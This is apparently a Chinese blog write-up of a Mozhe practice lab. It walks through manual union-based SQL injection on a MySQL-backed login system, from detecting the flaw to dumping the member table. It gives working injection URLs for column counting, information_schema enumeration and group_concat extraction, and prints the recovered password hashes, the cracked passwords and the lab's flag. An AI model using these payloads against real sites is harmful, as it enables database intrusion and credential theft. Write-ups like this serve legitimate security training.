墨者-SQL手工注入漏洞测试(MySQL数据库)

点击登录下面的一行字跳转到

XWAY科技管理系统V3.0

这里可能存在SQL注入

1.判断注入

加个and 1=1

http://124.70.64.48:41206/new_list.php?id=1 and 1=1

回显正常

改为and 1=2后回显异常

2.判断列数

使用联合查询union select必须要保证列数一致,因此要先知道有多少列

http://124.70.64.48:41206/new_list.php?id=1 order by 1
http://124.70.64.48:41206/new_list.php?id=1 order by 2
http://124.70.64.48:41206/new_list.php?id=1 order by 3
http://124.70.64.48:41206/new_list.php?id=1 order by 4
http://124.70.64.48:41206/new_list.php?id=1 order by 5

从order by 1开始一个一个尝试,到5时回显错误,因此有4列

3.信息收集

version()   数据库版本

database()  数据库名

user()      数据库用户

@@version_compile_os  操作系统

http://124.70.64.48:41206/new_list.php?id=-1 union select 1,version(),database(),4

http://124.70.64.48:41206/new_list.php?id=-1 union select 1,user(),@@version_compile_os,4

对本题有用的信息是数据库版本5.7.22

数据库名mozhe_Discuz_StormGroup

分析一下语句

http://124.70.64.48:41206/new_list.php?id=-1 union select 1,version(),database(),4

1)?id=-1

如果id=1,页面就会显示正常信息了,无法显示我们想要的查询信息

故id=-1,页面就会显示联合查询的结果

2)union select 1,version(),database(),4

union连接后面的select查询语句

1,version(),database(),4 对应四列

4.查表名

在mysql5.0版本以上,存在一个information_schema数据库

已知数据库版本5.7.22,符合

http://124.70.64.48:41206/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

分析一下语句

格式

union select 待查询 from 范围 where 上级名

1)待查询:1,table_name,3,4

table_name   表名

注意列数

2)范围:information_schema.tables

要查表名,自然范围在所有表中

information_schema.tables

表示information_schema数据库下的所有table(表)

3)上级名:table_schema='mozhe_Discuz_StormGroup'

要查表名,而表的上一级是库,因此这里就是是库名

table_schema表示待查询的数据表所在的数据

这样就查到了表名StormGroup_member,但该库可能还有其他表,为了显示全所有的表

我们常用group_concat()函数

把上面待查询中的table_name改写为group_concat(table_name)

http://124.70.64.48:41206/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

此函数的作用就是把多个结果拼接成一个字符串

可见有两个表

5.查列(字段)名

先看第一个表

http://124.70.64.48:41206/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

分析语句

同样的格式

union select 待查询 from 范围 where 上级名

1)待查询:1,group_concat(column_name),3,4 

column_name   待查询的列名

用group_concat()函数显示出所有列名

2)范围:information_schema.columns

要查询列,自然要在所有列中查询

information_schema.columns

3)上级名:table_name='StormGroup_member'

要查询列,列的上一级是表,也就是表名,用table_name表示

到此我们就很清楚这个数据库的结构了

这个库有两个表,第一个表的name和password列应该是我们要找的信息

6.查数据

http://124.70.64.48:41206/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

语句格式

union select 待查询 from 表名

1)待查询:1,group_concat(name),group_concat(password),4

2)表名:StormGroup_member

一个账号是mozhe 356f589a7df439f6f744ff19bb8092c0(解密后:dsan13)

另一个账号mozhe d180b2b97180ae420306b3c7b267dc25(解密后:457663)

第二个账号密码可以登录进去

KET:mozhe23ea785c154ec04e9a0181c74e3

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值